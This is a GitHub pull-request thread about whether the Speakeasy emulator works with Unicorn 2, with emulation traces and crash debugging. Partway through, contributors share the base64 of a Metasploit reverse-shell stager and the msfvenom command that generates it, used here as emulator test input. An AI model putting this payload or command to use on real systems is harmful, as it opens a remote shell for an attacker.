Update requirements.txt

[Derekt2]

• Relaxes requirement to have a specific version of unicorn installed.
• Allows downstream apps relying on the project to upgrade/downgrade unicorn as needed.
• addresses several CVEs impacting current unicorn version

[williballenthin]

i don't believe speakeasy works with Unicorn 2.0. have you found differently? therefore, this update should pin the unicorn version to less than 2.0.

[HongThatCong]

It still work with unicorn >= 2.0

[williballenthin]

great, then let's also enable CI testing for both versions so we can demonstrate this.

[williballenthin]

i'm surprised that Speakeasy does not rely upon any Unicorn APIs or behaviors that changed in 2.0

[cecio]

Unless something is changed from pull #216, I don't think it is fully compatible.
I can run some tests now anyway and I'll let you know

[cecio]

Just did the same tests, but I have the same behavior (payloads are "standard" Metasploit generated shellcodes)

With 1.0.2:

>>> speakeasy -r -t samples/payload_tcp_rc4_64.bin -a amd64
* exec: shellcode
0x110a: 'kernel32.LoadLibraryA("ws2_32")' -> 0x78c00000
0x111b: 'ws2_32.WSAStartup(0x101, 0x1203e08)' -> 0x0
0x113b: 'ws2_32.WSASocketA("AF_INET", "SOCK_STREAM", 0x0, 0x0, 0x0, 0x0)' -> 0x4
0x1150: 'ws2_32.connect(0x4, "10.25.44.1:4444", 0x10)' -> 0x0
0x1177: 'ws2_32.recv(0x4, 0x1203d60, 0x4, 0x0)' -> 0x4
0x11ad: 'kernel32.VirtualAlloc(0x0, 0xd3a205a8, 0x1000, "PAGE_EXECUTE_READWRITE")' -> 0x1a7492000
0x11ce: 'ws2_32.recv(0x4, 0x1a7492100, 0xd3a205a8, 0x0)' -> 0x8
0x11ce: 'ws2_32.recv(0x4, 0x1a7492108, 0xd3a205a0, 0x0)' -> 0x0
0x11ce: 'ws2_32.recv(0x4, 0x1a7492108, 0xd3a205a0, 0x0)' -> 0x0

With 2.0.1:

>>> speakeasy -r -t samples/payload_tcp_rc4_64.bin -a amd64
* exec: shellcode
0x110a: 'kernel32.LoadLibraryA("ws2_32")' -> 0x78c00000
0x111b: 'ws2_32.WSAStartup(0x101, 0x1203e08)' -> 0x0
0x113b: 'ws2_32.WSASocketA("AF_INET", "SOCK_STREAM", 0x0, 0x0, 0x0, 0x0)' -> 0x4
0x1150: 'ws2_32.connect(0x4, "10.25.44.1:4444", 0x10)' -> 0x0
0x1177: 'ws2_32.recv(0x4, 0x1203d60, 0x4, 0x0)' -> 0x4
0x11ad: 'kernel32.VirtualAlloc(0x0, 0xd3a205a8, 0x1000, "PAGE_EXECUTE_READWRITE")' -> 0x1a7492000
* Finished emulating

The emulation stops after VirtualAlloc with a Segmentation Fault

[Derekt2]

Odd, I'm not seeing that same behavior on my system, I haven't run into a difference yet running with unicorn 2+, and was able to emulate without a segfault from VirtualAlloc using what I believe is the same payload?

Are you running this on a M1 @cecio ? Here's my setup:

OS: Ubuntu 20.04 x86_64
unicorn: 2.0.1.post1
speakeasy: latest
payload generated using: msfvenom -p windows/x64/shell/reverse_tcp_rc4 -f raw -o ~/Downloads/out.bin

[cecio]

Very strange. No, I'm not on a M1 btw.

I just retried on a completely different system (VM created on a cloud environment Ubuntu 20.04.1 LTS).

• created new python env (3.8.10, the previous machine was on 3.11) to be super sure that I have a clean env
• cloned the speakeasy repo
• modified the requirements.txt
• installed requirements (so Unicorn Version: 2.0.1.post1)
• installed speakeasy
• started emulation (speakeasy -r -t ./payload_tcp_rc4_64.bin -a amd64)
• same result (crash after VirtualAlloc)

May be I'm doing something wrong...or different from you.

This is the base64 of the payload if you want to try:

/EiD5PDozAAAAEFRQVBSSDHSUWVIi1JgVkiLUhhIi1IgTTHJSItyUEgPt0pKSDHArDxhfAIsIEHB
yQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0FBEi0AgSQHQi0gY
41ZNMclI/8lBizSISAHWSDHAQcHJDaxBAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0Ac
SQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJ
ieZIgeygAQAASYnlSbwCABFcChksAUFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoK
QV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0Ckn/
znXl6B8BAABIg+wQSIniTTHJagRBWEiJ+UG6AtnIX//Vg/gAD45tAAAASIPEIF6J9oH2oAWi00yN
ngABAABqQEFZaAAQAABBWEiJ8kgxyUG6WKRT5f/VSI2YAAEAAEmJ31NWUE0xyUmJ8EiJ2kiJ+UG6
AtnIX//VSIPEIIP4AH0oWEFXWWgAQAAAQVhqAFpBugsvDzD/1VdZQbp1bk1h/9VJ/87pIP///0gB
w0gpxnWzSYn+X1lBWUFW6BAAAAA0Kmh+otBTYMlTEHrL6D4IXkgxwEmJ+Kr+wHX7SDHbQQIcAEiJ
woDiDwIcFkGKFABBhhQYQYgUAP7AdeNIMdv+wEECHABBihQAQYYUGEGIFABBAhQYQYoUEEEwEUn/
wUj/yXXbX0H/51hqAFlJx8LwtaJW/9U=

I'm curios about the result.

[cecio]

@Derekt2 I edited my previous comment with new payload to be consistent with previous test. Try this last one in case

[Derekt2]

no issue with that payload either, and your steps were identical to mine (other than using a virtual machine). Strange we get different results. Curious what results other folks get.

[HongThatCong]

My OS: Windows 10.19041
Python: 3.9.7
Unicorn: 2.0.1.post1

My result:
Z:\APIMons\speakeasy>run_speakeasy.py -r -t test.bin -a amd64

• exec: shellcode
  0x110a: 'kernel32.LoadLibraryA("ws2_32")' -> 0x78c00000
  0x111b: 'ws2_32.WSAStartup(0x101, 0x1203e08)' -> 0x0
  0x113b: 'ws2_32.WSASocketA("AF_INET", "SOCK_STREAM", 0x0, 0x0, 0x0, 0x0)' -> 0x4
  0x1150: 'ws2_32.connect(0x4, "10.25.44.1:4444", 0x10)' -> 0x0
  0x1177: 'ws2_32.recv(0x4, 0x1203d60, 0x4, 0x0)' -> 0x4
  0x11ad: 'kernel32.VirtualAlloc(0x0, 0xd3a205a8, 0x1000, "PAGE_EXECUTE_READWRITE")' -> 0x1a7492000
  0x11ad: shellcode: Caught error: exception: access violation reading 0x0000000077002607
  Exception: Invalid argument (UC_ERR_ARG)
  Traceback (most recent call last):
  File "Z:\APIMons\speakeasy\speakeasy\windows\winemu.py", line 437, in start
  self.emu_eng.start(self.curr_run.start_addr, timeout=self.timeout,
  File "Z:\APIMons\speakeasy\speakeasy\engines\unicorn_eng.py", line 203, in start
  return self.emu.emu_start(addr, 0xFFFFFFFF, timeout=timeout, count=count)
  File "Z:\Python39\lib\site-packages\unicorn\unicorn.py", line 545, in emu_start
  status = _uc.uc_emu_start(self._uch, begin, until, timeout, count)
  OSError: exception: access violation reading 0x0000000077002607

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "Z:\APIMons\speakeasy\speakeasy\windows\winemu.py", line 320, in _exec_next_run
run = self.run_queue.pop(0)
IndexError: pop from empty list

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "Z:\APIMons\speakeasy\run_speakeasy.py", line 51, in emulate_binary
se.run_shellcode(sc_addr, offset=raw_offset or 0)
File "Z:\APIMons\speakeasy\speakeasy\speakeasy.py", line 37, in wrap
return func(self, *args, **kwargs)
File "Z:\APIMons\speakeasy\speakeasy\speakeasy.py", line 274, in run_shellcode
return self.emu.run_shellcode(sc_addr, stack_commit=stack_commit, offset=offset)
File "Z:\APIMons\speakeasy\speakeasy\windows\win32.py", line 555, in run_shellcode
self.start()
File "Z:\APIMons\speakeasy\speakeasy\windows\winemu.py", line 459, in start
run = self.on_run_complete()
File "Z:\APIMons\speakeasy\speakeasy\windows\win32.py", line 746, in on_run_complete
return self._exec_next_run()
File "Z:\APIMons\speakeasy\speakeasy\windows\winemu.py", line 322, in _exec_next_run
self.on_emu_complete()
File "Z:\APIMons\speakeasy\speakeasy\windows\win32.py", line 728, in on_emu_complete
dec_ansi, dec_unicode = self.get_mem_strings()
File "Z:\APIMons\speakeasy\speakeasy\binemu.py", line 830, in get_mem_strings
data = self.mem_read(mmap.get_base(), mmap.get_size()-1)
File "Z:\APIMons\speakeasy\speakeasy\memmgr.py", line 251, in mem_read
return bytes(self.emu_eng.mem_read(addr, size))
File "Z:\APIMons\speakeasy\speakeasy\engines\unicorn_eng.py", line 171, in mem_read
return self.emu.mem_read(addr, size)
File "Z:\Python39\lib\site-packages\unicorn\unicorn.py", line 579, in mem_read
raise UcError(status)
unicorn.unicorn.UcError: Invalid argument (UC_ERR_ARG)

• Finished emulating

I will review, debug and fix temporarily

[HongThatCong]

Speakeasy run well with Unicorn ver < 2.x.x (1.0.2, 1.0.3)
With Unicorn ver >= 2.x.x, an unhandled exception will throwed from unicorn.dll
Need to continue investigate

Regards,
TQN

[ronbarrey]

From my testing, it appears that the CLI works with Unicorn >= 2.0.0 but not from a Python script. Running from a Python script will cause a segmentation fault.

[ronbarrey]

Adding a little more context to my previous comment. I tested this using Unicorn 2.0.1 running in Ubuntu 22.04. It appears that the segfault occurs when running the emulation in the current process rather than a child process. The shellcode used was the sample posted by cecio. I believe the default behavior when running speakeasy from a python script, is to run in the current process, which would explain the segfault as well.

speakeasy -t dump.bin -r -a x64 --no-mp
* exec: shellcode
0x110a: 'kernel32.LoadLibraryA("ws2_32")' -> 0x78c00000
0x111b: 'ws2_32.WSAStartup(0x101, 0x10003e08)' -> 0x0
0x113b: 'ws2_32.WSASocketA("AF_INET", "SOCK_STREAM", 0x0, 0x0, 0x0, 0x0)' -> 0x4
0x1150: 'ws2_32.connect(0x4, "10.25.44.1:4444", 0x10)' -> 0x0
0x1177: 'ws2_32.recv(0x4, 0x10003d60, 0x4, 0x0)' -> 0x4
0x11ad: 'kernel32.VirtualAlloc(0x0, 0xd3a205a8, 0x1000, "PAGE_EXECUTE_READWRITE")' -> 0x1a7492000
Segmentation fault (core dumped)

speakeasy -t dump.bin -r -a x64
* exec: shellcode
0x110a: 'kernel32.LoadLibraryA("ws2_32")' -> 0x78c00000
0x111b: 'ws2_32.WSAStartup(0x101, 0x10003e08)' -> 0x0
0x113b: 'ws2_32.WSASocketA("AF_INET", "SOCK_STREAM", 0x0, 0x0, 0x0, 0x0)' -> 0x4
0x1150: 'ws2_32.connect(0x4, "10.25.44.1:4444", 0x10)' -> 0x0
0x1177: 'ws2_32.recv(0x4, 0x10003d60, 0x4, 0x0)' -> 0x4
0x11ad: 'kernel32.VirtualAlloc(0x0, 0xd3a205a8, 0x1000, "PAGE_EXECUTE_READWRITE")' -> 0x1a7492000
* Finished emulating

[cecio]

mmmmh... I'm not sure: if you are using the same shellcode, even the second run is not working: you don't see the Segementation Fault, but the execution stops, since you don't see the subsequent call:

0x11ce: 'ws2_32.recv(0x4, 0x1a7492100, 0xd3a205a8, 0x0)' -> 0x8

[jhhcs]

First impression for the shellcode provided by @cecio; the hook over here:

https://github.com/binref/speakeasy/blob/master/speakeasy/windows/win32.py#L688

fires a lot more often for unicorn v2; here is a screenshot of a side-by-side comparison of logpoint messages from that function between versions 1 and 2:

PS: I can also confirm that the shellcode executes fine unless --no-mp is specified in my case. With that flag set, however, it crashes right after the VirtualAlloc call as previously reported.

[jhhcs]

I have traced the execution with a tool of mine under both unicorn versions; here is a trace with version 2:

(14:33:08) verbose in vstack: [wait=00007451] [depth=2] 0x00000000000010BC: pop r8
(14:33:08) verbose in vstack: [wait=00007452] [depth=2] 0x00000000000010BE: pop r9
(14:33:08) verbose in vstack: [wait=00007453] [depth=2] 0x00000000000010C0: pop r10
(14:33:08) verbose in vstack: [wait=00007454] [depth=2] 0x00000000000010C2: sub rsp, 0x20
(14:33:08) verbose in vstack: [wait=00007455] [depth=2] 0x00000000000010C6: push r10
(14:33:08) verbose in vstack: [wait=00000001] [depth=2] 0x00000000000010C8: jmp rax
(14:33:11) failure in vstack: exception of type UcError; Invalid argument (UC_ERR_ARG)

and then here is one with version 1:

(14:36:50) verbose in vstack: [wait=00007451] [depth=2] 0x00000000000010BC: pop r8
(14:36:50) verbose in vstack: [wait=00007452] [depth=2] 0x00000000000010BE: pop r9
(14:36:50) verbose in vstack: [wait=00007453] [depth=2] 0x00000000000010C0: pop r10
(14:36:50) verbose in vstack: [wait=00007454] [depth=2] 0x00000000000010C2: sub rsp, 0x20
(14:36:50) verbose in vstack: [wait=00007455] [depth=2] 0x00000000000010C6: push r10
(14:36:50) verbose in vstack: [wait=00000001] [depth=2] 0x00000000000010C8: jmp rax
(14:36:50) verbose in vstack: [wait=00000002] [depth=2] 0x00000000770024C4: unrecognized instruction
(14:36:52) verbose in vstack: [wait=00000003] [depth=1] 0x00000000000011AD: lea rbx, [rax + 0x100]
(14:36:52) verbose in vstack: [wait=00000004] [depth=1] 0x00000000000011B4: mov r15, rbx
(14:36:52) verbose in vstack: [wait=00000005] [depth=1] 0x00000000000011B7: push rbx

So it looks like it's happening at that jmp rax right there. This looks like Unicorn 2 is doing an additional sanity check that Unicorn 1 doesn't do, which allows speakeasy to recover using the hooks it has installed.

[jhhcs]

The crash occurs immediately after handling VirtualAlloc, but I cannot determine how or why. After _handle_prot_fetch is done, we return from _hook_mem_invalid_dispatch and then from _wrap_memory_access_cb. Everything looks good here, self.get_register_state() returns this dictionary:

{
 'rsp': '0x0000000001203d48',
 'rbp': '0x000000000000100a',
 'rip': '0x00000000000011ad',
 'rsi': '0x00000000d3a205a8',
 'rdi': '0x0000000000000004',
 'rax': '0x00000001a7492000',
 'rbx': '0x0000000000000000',
 'rcx': '0x0000000000000000',
 'rdx': '0x00000000d3a205a8',
 'r8' : '0x0000000000001000',
 'r9' : '0x0000000000000040',
 'r10': '0x00000000000011ad',
 'r11': '0x00000000d3a206a8',
 'r12': '0x0000000001203e00',
 'r13': '0x0000000001203e08',
 'r14': '0x000000000000000a',
 'r15': '0x0000000000000000'
}

After returning from the hook, however, we lose visibility again and the next thing we see is an OSError exception being thrown from Unicorn:

Traceback (most recent call last):
  File "C:\Workspace\projects\speakeasy\speakeasy\windows\winemu.py", line 436, in start
    self.emu_eng.start(self.curr_run.start_addr, timeout=self.timeout,
  File "C:\Workspace\projects\speakeasy\speakeasy\engines\unicorn_eng.py", line 203, in start
    return self.emu.emu_start(addr, 0xFFFFFFFF, timeout=timeout, count=count)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "c:\Workspace\projects\speakeasy\venv\Lib\site-packages\unicorn\unicorn.py", line 545, in emu_start
    status = _uc.uc_emu_start(self._uch, begin, until, timeout, count)
             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
OSError: exception: access violation reading 0x0000000077002697

Very notably, VirtualAlloc is being accessed at address 0x77002698 in my case, that is precisely one byte after the address reported in that OSError.

That said, all I have are these observations; I do not understand why exactly Unicorn is throwing an exception here, or how exactly that could be avoided.

[jhhcs]

When using Unicorn v1, VirtualAlloc is being invoked from a different hook; namely from _wrap_code_cb.

[jhhcs]

At this point, I feel like we'd really need someone who developed the Speakeasy core to weigh in on this. I know too little about the interaction between Speakeasy and Unicorn to have a good way forward. However, I also conclude that Speakeasy doesn't appear to be compatible with Unicorn v2 right now.

[williballenthin]

@drewvis is the author, but has moved on from their role at Mandiant and may or may not be interested contributing here.

Since the project occasionally provides value to people, I've preferred to keep it non-archived here on GitHub. However, if the lack of maintenance/development becomes too big of a hurdle, maybe it's better to archive and/or recommend a hard fork elsewhere? Totally open to discussion and feedback from everyone out there.

[jhhcs]

I think there is quite a bit of value in it, I do use it regularly for triage analysis. To underline this: I did end up massaging all other dependencies in my toolkit to make it work with Unicorn v1, primarily so I can use Speakeasy as one of the emulation backends.

The Speakeasy code base has around 30kloc, so taking it over from scratch is certainly not a small task and I couldn't find any already existing fork that looks like it wants to carry the torch. I'll give @drewvis some time to respond here; some support from the original author would certainly be the best case scenario.

[cecio]

hey! Approach what I'm going to say with caution, because I investigated this some time ago, but I think the issue is somehow related to QEMU:

Unicorn 2 switched to a new QEMU version under the hood, and I remember that I inspected the differences between the implementations and noticed that the new QEMU is now issuing SIGABRT in case of certain errors instead of trying to handle them. This leaves less space for interception and handling. TBH I don't recall if we were exactly in this situation here, but I think this can be related. If I can take some time in the next days, I'll take a look again.